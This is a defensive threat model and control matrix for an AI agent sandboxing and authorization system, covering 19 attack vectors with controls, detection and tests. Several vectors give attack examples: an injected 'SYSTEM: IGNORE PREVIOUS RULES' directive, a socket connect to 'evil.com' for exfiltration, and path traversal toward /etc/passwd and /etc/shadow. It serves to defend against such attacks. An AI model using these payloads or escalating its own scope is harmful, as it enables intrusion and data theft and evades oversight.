# UNIFIED THREAT MODEL & CONTROL MATRIX
## Project Sovereign — CAIN-42 × TALOS × IHVRK
### Evolution 6: Operation Absolute Sovereign

**Version:** 6.0.0  
**Scope:** CAIN-42 JIT Decision Engine, TALOS Verify Kernel, Confined Worker Boundary, IHVRK Evidence Pipeline.

---

### Adversary Tiers & Trust Assumptions

| Tier | Adversary Class | Capabilities | Boundary Defense Guarantees |
|---|---|---|---|
| **Tier 1** | Untrusted / Malicious Agent | Arbitrary LLM output, prompt injection, parameter crafting, tool misuse. | Fully defended fail-closed by CAIN JIT policy & schema validation. |
| **Tier 2** | Malicious Worker Process | Confined child process attempts filesystem escapes, network connections, memory exhaustion, fork-bombs. | Defended by Landlock ABI 8, PR_SET_NO_NEW_PRIVS, rlimit, and sterile environment. |
| **Tier 3** | Network Attacker / Replay Adversary | Sniffing, replaying envelopes, tampering with in-flight messages, clock skew. | Defended by Ed25519 signatures, RFC 8785 canonical hashing, single-use WAL nonces, bounded TTLs. |
| **Tier 4** | Compromised Host Kernel / Root Administrator | Ring 0 execution, raw disk/memory access, arbitrary kernel syscall modification. | **Out of software boundary scope**: Software sandboxing cannot defeat a compromised host kernel. Requires hardware TEE / remote attestation. |
| **Tier 5** | Stolen CAIN Root Signing Key | Can forge envelopes that pass signature checks. | Mitigated by immediate key revocation in TALOS durable ledger, short envelope TTLs (<30s), and dual-operator revocation. |

---

### Detailed Threat Matrix (19 Vectors × 10 Dimensions)

#### 1. Malicious or Compromised Agents
- **Attacker Capabilities:** Autonomous agent generates unauthorized tool calls or attempts scope escalation.
- **Protected Assets:** Host resources, data stores, API capabilities.
- **Trust Assumptions:** Agent identity is authenticated at gateway entry.
- **Attack Path:** Agent submits malicious action payload pretending to have permission.
- **Preventive Control:** CAIN JIT decision engine evaluates identity, policy, and scope; denies unauthorized actions.
- **Detection Mechanism:** Audit log records `ACTION_DENIED` with agent DID.
- **Recovery Procedure:** Agent session suspended; policy quarantine invoked.
- **Test / Formal Model:** Z3 invariant `INV-01`, tests in `test_evolution_6_adversarial.py`.
- **Residual Risk:** Bounded to operations within legitimately granted permissions.
- **Evidence Required:** Signed denial receipt in audit ledger.

#### 2. Prompt Injection & Untrusted Tool Output
- **Attacker Capabilities:** Indirect injection via web search, retrieved documents, or tool output attempting to inject control directives (e.g. `SYSTEM: IGNORE PREVIOUS RULES`).
- **Protected Assets:** CAIN policy rules and authorization envelope parameters.
- **Trust Assumptions:** Separation of control plane and data plane.
- **Attack Path:** Agent consumes injected text and emits instructions attempting to modify its own authorization scope.
- **Preventive Control:** Strict data/control segregation. Agent output is treated strictly as data parameters, never as policy directives or tokens.
- **Detection Mechanism:** Parameter canonicalization detects unescaped control constructs.
- **Recovery Procedure:** Tool execution aborted; prompt injection alert flagged.
- **Test / Formal Model:** Z3 invariant `INV-12`, adversarial tests with indirect prompt injections.
- **Residual Risk:** Agent may hallucinate non-functional arguments; cannot alter policy.
- **Evidence Required:** Test proof that injected data cannot alter envelope scope.

#### 3. Forged Identity & Tenant Substitution
- **Attacker Capabilities:** Tenant A attempts to sign or execute actions against Tenant B's data or agent DID.
- **Protected Assets:** Multi-tenant cryptographic data isolation.
- **Trust Assumptions:** CAIN gateway authenticates API key / JWT before JIT evaluation.
- **Attack Path:** Envelope forged with `tenant_id: "tenant-victim"` using attacker credentials.
- **Preventive Control:** TALOS independent verification verifies cryptographic signature against tenant authority; checks `tenant_id` match.
- **Detection Mechanism:** TALOS returns `IDENTITY_MISMATCH` or `INVALID_SIGNATURE`.
- **Recovery Procedure:** Connection closed; security incident logged.
- **Test / Formal Model:** Z3 invariant `INV-12`, test `test_tenant_substitution_rejected`.
- **Residual Risk:** None within cryptographic assumptions of Ed25519.
- **Evidence Required:** Adversarial test report showing fail-closed rejection.

#### 4. Compromised Authorization-Signing Keys
- **Attacker Capabilities:** Adversary acquires a valid CAIN Ed25519 private key.
- **Protected Assets:** Execution boundary integrity.
- **Trust Assumptions:** Revocation lists can be distributed to TALOS ledger.
- **Attack Path:** Adversary forges validly signed envelopes for arbitrary commands.
- **Preventive Control:** TALOS verifies key status in durable revocation ledger; envelope TTLs capped at <= 30 seconds.
- **Detection Mechanism:** Revocation lookup flags revoked key ID.
- **Recovery Procedure:** Key revoked via `TalosReplayLedger.revoke_key()`; all outstanding envelopes with that key fail closed.
- **Test / Formal Model:** Z3 invariant `INV-09`, test `test_revoked_key_fails_closed`.
- **Residual Risk:** Envelopes issued prior to revocation may execute until TTL expires (max 30s).
- **Evidence Required:** Test demonstrating immediate rejection after key revocation.

#### 5. Replay & Concurrent Request Races
- **Attacker Capabilities:** Adversary captures a valid authorization envelope and replays it across concurrent threads/processes.
- **Protected Assets:** Single-use execution semantics.
- **Trust Assumptions:** SQLite WAL immediate transactions guarantee serializable execution.
- **Attack Path:** Replaying `envelope_id` simultaneously to execute multiple side-effects.
- **Preventive Control:** `TalosReplayLedger.consume_nonce_atomic()` using SQLite `BEGIN IMMEDIATE`.
- **Detection Mechanism:** Duplicate nonce insertion fails unique constraint; returns `REPLAYED`.
- **Recovery Procedure:** Subsequent requests rejected fail-closed; audit alert generated.
- **Test / Formal Model:** Z3 invariant `INV-03`, multi-threaded concurrent replay stress tests.
- **Residual Risk:** Local node only; multi-cluster deployment requires distributed consensus.
- **Evidence Required:** Test proving exactly 1 of N concurrent replays succeeds.

#### 6. Malicious Plugins and Extensions
- **Attacker Capabilities:** Untrusted plugin executes arbitrary code or escalates privileges.
- **Protected Assets:** Core runtime memory, secrets, gateway databases.
- **Trust Assumptions:** Plugins must run under sandbox constraints.
- **Attack Path:** Extension attempts to import forbidden modules or call host APIs.
- **Preventive Control:** Extension hypervisor isolation and confined worker subprocess execution.
- **Detection Mechanism:** Sandboxed environment restricts imports; Landlock blocks host access.
- **Recovery Procedure:** Worker killed; plugin disabled.
- **Test / Formal Model:** `test_cain_extension_hypervisor.py`, Landlock filesystem test.
- **Residual Risk:** Plugins can consume bounded allocated CPU/memory before timeout.
- **Evidence Required:** Subprocess termination receipt.

#### 7. Confused-Deputy Attacks
- **Attacker Capabilities:** Agent tricks a privileged service (TALOS or gateway) into executing an action on its behalf.
- **Protected Assets:** System commands, protected filesystem directories.
- **Trust Assumptions:** Execution permissions stem solely from the signed envelope scope.
- **Attack Path:** Agent passes path `/etc/shadow` to a tool whose envelope only allows `/tmp`.
- **Preventive Control:** TALOS checks `resource_scope` against normalized target before launch; Landlock enforces boundary in the kernel.
- **Detection Mechanism:** TALOS returns `SCOPE_MISMATCH`; Landlock returns `EACCES`.
- **Recovery Procedure:** Execution refused; audit event logged.
- **Test / Formal Model:** Z3 invariant `INV-05`, test `test_scope_path_confinement`.
- **Residual Risk:** Actions explicitly within authorized scope can be executed.
- **Evidence Required:** Negative test verifying Landlock denies unpermitted path.

#### 8. Tool and Filesystem Path Traversal
- **Attacker Capabilities:** Path strings containing `../`, symlinks pointing to sensitive files, homoglyphs.
- **Protected Assets:** File system outside authorized working tree.
- **Trust Assumptions:** Path normalization resolves symlinks to real paths.
- **Attack Path:** `target: "/tmp/allowed/../../etc/passwd"`.
- **Preventive Control:** `os.path.realpath` normalization before evaluation; Landlock kernel rules bind to real inodes.
- **Detection Mechanism:** Path resolution detects escape outside allowed prefix; Landlock denies access.
- **Recovery Procedure:** Traversal rejected; exit code 126.
- **Test / Formal Model:** `test_governed_filesystem_traversal_attack_blocked`.
- **Residual Risk:** None for paths outside allowed Landlock ruleset.
- **Evidence Required:** Path traversal test results.

#### 9. Unauthorized Network Access
- **Attacker Capabilities:** Malicious script attempts exfiltration to external C2 server.
- **Protected Assets:** External network egress.
- **Trust Assumptions:** Linux kernel Landlock ABI >= 4 supports TCP connect rules.
- **Attack Path:** Confined tool calls `socket.connect(('evil.com', 443))`.
- **Preventive Control:** Landlock profile sets `tcp_connect_ports=()` when `allow_network=False`.
- **Detection Mechanism:** Kernel returns `EACCES` on socket connect.
- **Recovery Procedure:** Connection refused; tool fails.
- **Test / Formal Model:** `test_command_confinement_network_denial`.
- **Residual Risk:** DNS lookups over UNIX sockets if systemd-resolved socket is mapped.
- **Evidence Required:** Negative network connect test under Landlock.

#### 10. Child-Process Escape Attempts
- **Attacker Capabilities:** Confined worker attempts to spawn setuid binary or call `ptrace`.
- **Protected Assets:** Host privileges and credentials.
- **Trust Assumptions:** `PR_SET_NO_NEW_PRIVS` cannot be disabled once set.
- **Attack Path:** Worker invokes `sudo` or `/bin/su` to gain root.
- **Preventive Control:** `prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)` applied in `preexec_fn`.
- **Detection Mechanism:** Linux kernel ignores SUID/SGID bits.
- **Recovery Procedure:** SUID binary runs with unprivileged rights; fails.
- **Test / Formal Model:** `test_command_confinement_landlock_filesystem_isolation`.
- **Residual Risk:** Kernel zero-day exploits.
- **Evidence Required:** Verified `prctl` execution in preexec.

#### 11. Policy Changes During Long-Running Operations
- **Attacker Capabilities:** Policy administrator revokes permissions while an operation is in progress.
- **Protected Assets:** Immediate policy consistency.
- **Trust Assumptions:** Long-running operations must check revocation checkpoints.
- **Attack Path:** Action takes 60 seconds; policy revoked at second 10.
- **Preventive Control:** Bounded envelope expiration (<= 30s); revalidation checkpoints on multi-step tasks.
- **Detection Mechanism:** Revalidation flags expired/revoked envelope.
- **Recovery Procedure:** Operation aborted; worker terminated.
- **Test / Formal Model:** Z3 invariant `INV-09`, test `test_revocation_during_execution`.
- **Residual Risk:** Single atomic operation can run up to its configured timeout (default <= 30s).
- **Evidence Required:** Timeout and revocation test receipts.

#### 12. Verifier Crashes and Uncertain Outcomes
- **Attacker Capabilities:** Process crash or power loss during verification or execution.
- **Protected Assets:** Deterministic ledger state and non-repudiation.
- **Trust Assumptions:** SQLite WAL recovery replays committed transactions.
- **Attack Path:** Crash occurs right after nonce consumption but before execution starts.
- **Preventive Control:** Nonce is marked `CONSUMED` before launch. On crash, nonce remains consumed, preventing replay.
- **Detection Mechanism:** Audit log indicates `STARTED` without matching `COMPLETED`.
- **Recovery Procedure:** Action marked `UNCERTAIN`; requires operator reconciliation.
- **Test / Formal Model:** `test_ledger_crash_recovery_preserves_consumed_nonces`.
- **Residual Risk:** Non-idempotent operations may require human intervention.
- **Evidence Required:** Crash injection test.

#### 13. Compromised Workers
- **Attacker Capabilities:** Confined worker process code is fully taken over by an exploit.
- **Protected Assets:** Parent gateway process, host system, neighboring tenants.
- **Trust Assumptions:** OS process boundary + Landlock confinement hold.
- **Attack Path:** Worker attempts memory read of parent process or writes to host files.
- **Preventive Control:** Separate process address space, closed FDs (`close_fds=True`), Landlock LSM, memory limits.
- **Detection Mechanism:** OS memory protection / SIGSEGV; Landlock EACCES.
- **Recovery Procedure:** Parent captures return code; logs incident.
- **Test / Formal Model:** Z3 invariant `INV-13`, worker isolation tests.
- **Residual Risk:** Linux kernel local privilege escalation vulnerabilities.
- **Evidence Required:** Worker isolation negative test suite.

#### 14. Hostile Local Users and Privileged Operators
- **Attacker Capabilities:** Root user on the host system tampers with files.
- **Protected Assets:** Audit trail and evidence integrity.
- **Trust Assumptions:** Software controls on the local host cannot defend against local root.
- **Attack Path:** Root user modifies SQLite database directly.
- **Preventive Control:** Cryptographic signing of evidence checkpoints; remote mirroring to public Verification Center and IHVRK.
- **Detection Mechanism:** Standalone verifier detects hash / Merkle root mismatch.
- **Recovery Procedure:** Evidence rollback detected; auditor alerts triggered.
- **Test / Formal Model:** IHVRK standalone verifier E7 tests (detects modified, deleted, truncated records).
- **Residual Risk:** Local root can stop the service, but cannot alter historical signed evidence undetected.
- **Evidence Required:** IHVRK tamper-rejection tests.

#### 15. Evidence Tampering & False Status Publication
- **Attacker Capabilities:** Modifying evidence files in web directories to claim passed tests.
- **Protected Assets:** Public Verification Center credibility.
- **Trust Assumptions:** SHA-256 cryptographic hashes and Ed25519 signatures.
- **Attack Path:** Adversary edits `test_results.json` to change `failed: 5` to `failed: 0`.
- **Preventive Control:** `manifest.json` contains SHA-256 hashes of all artifacts; verifier checks every byte.
- **Detection Mechanism:** `evidence_verifier.py` detects hash mismatch and aborts with exit code 1.
- **Recovery Procedure:** Rebuild manifest from authoritative evidence store.
- **Test / Formal Model:** `test_malformed_evidence_manifest_rejected`.
- **Residual Risk:** None against hash collisions (SHA-256).
- **Evidence Required:** Standalone verifier output.

#### 16. Supply-Chain Compromise & Dependency Substitution
- **Attacker Capabilities:** Malicious package published on PyPI or dependency confusion.
- **Protected Assets:** Python runtime and dependencies.
- **Trust Assumptions:** Cryptographic pinning and cleanroom verification.
- **Attack Path:** Malicious dependency replaces `cain45.canon` or cryptography library.
- **Preventive Control:** Strict dependency pinning, SLSA Level 3 build provenance, zero third-party deps for verifier.
- **Detection Mechanism:** Cleanroom verifier runs with 0 external dependencies.
- **Recovery Procedure:** Revert dependency; quarantine release.
- **Test / Formal Model:** Standalone verifier execution in clean environment.
- **Residual Risk:** Vulnerabilities in Python standard library itself.
- **Evidence Required:** Cleanroom verifier report.

#### 17. Compromised Deployment Credentials
- **Attacker Capabilities:** Stolen deployment token attempts to publish unauthorized release.
- **Protected Assets:** Production deployments and PyPI package.
- **Trust Assumptions:** OIDC Trusted Publishing and release gates.
- **Attack Path:** Adversary pushes unauthorized build to production.
- **Preventive Control:** Release gate script validates 10 dimensions; blocks publication if gate is BLOCKED.
- **Detection Mechanism:** CI/CD pipeline checks release gate verdict.
- **Recovery Procedure:** Revoke token; rollback deployment.
- **Test / Formal Model:** `test_release_gate_downgrade_rejected`.
- **Residual Risk:** Rogue maintainer with root admin rights.
- **Evidence Required:** Release gate JSON report.

#### 18. Partial Rollout and Mixed-Version Clusters
- **Attacker Capabilities:** Sending v1 envelopes to v2 verifiers or vice-versa to exploit version discrepancies.
- **Protected Assets:** Interoperability and consistent security semantics.
- **Trust Assumptions:** Version negotiation must fail closed on unrecognized versions.
- **Attack Path:** Adversary sends legacy envelope format lacking mandatory security fields.
- **Preventive Control:** Strict schema validation; legacy or unsupported versions fail closed.
- **Detection Mechanism:** TALOS returns `PROTOCOL_VERSION_UNSUPPORTED`.
- **Recovery Procedure:** Upgrade client; reject request.
- **Test / Formal Model:** `test_unsupported_protocol_version_rejected`.
- **Residual Risk:** None.
- **Evidence Required:** Version mismatch negative test.

#### 19. Physical Actuator Commands and Stale Sensor Data
- **Attacker Capabilities:** Physical robot actuator receives delayed, replayed, or out-of-envelope movement commands.
- **Protected Assets:** Physical safety and human proximity.
- **Trust Assumptions:** Telemetry timestamps reflect real physical state.
- **Attack Path:** Adversary injects velocity command exceeding physical envelope or replays stale sensor reading.
- **Preventive Control:** Software parameter clamping, sensor freshness verification (<100ms), and emergency stop interlock.
- **Detection Mechanism:** Parameter bounds check flags violation; E-Stop fires.
- **Recovery Procedure:** Actuator commanded to zero-torque safe state; manual reset required.
- **Test / Formal Model:** `test_estop_interlock_blocks_execution`, `test_parameter_clamping_enforces_bounds`.
- **Residual Risk:** **Software-only control limitation**: Software cannot prevent physical motor failure without an independent hardware interlock.
- **Evidence Required:** Safeguard unit tests.
